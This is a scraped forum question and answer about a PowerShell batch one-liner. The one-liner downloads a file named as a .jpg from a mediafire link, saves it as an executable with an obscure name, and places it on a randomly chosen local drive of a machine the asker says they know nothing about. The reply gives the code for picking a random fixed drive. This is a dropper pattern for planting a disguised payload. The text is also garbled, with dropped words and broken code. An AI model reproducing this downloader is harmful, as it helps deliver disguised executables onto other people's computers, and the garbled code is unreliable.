powershell - Find a random Local Drive and download files there -
as title says, want find random local drive , download files inside drive.
well, thats actual line:
powershell.exe -command "& {if($psversiontable.psversion.major -ge 3) {invoke-webrequest http://download1475.mediafire.com/dgmccvd5felg/cu6x9bzhx3hmz78/teste.jpg -outfile atf3@~~.exe}}"
as can see, have way download files, want these files downloaded inside random drive, , need that.
it happen in computer, don't have how know nothing local drives, prepare script situation please, , need script run in 1 single batch file.
you can pick random local drive , change working directory root folder this:
$root = (get-wmiobject win32_volume -filter 'drivetype=3 , not driveletter null' | get-random).driveletter + '\' set-loction $root
Comments
Post a Comment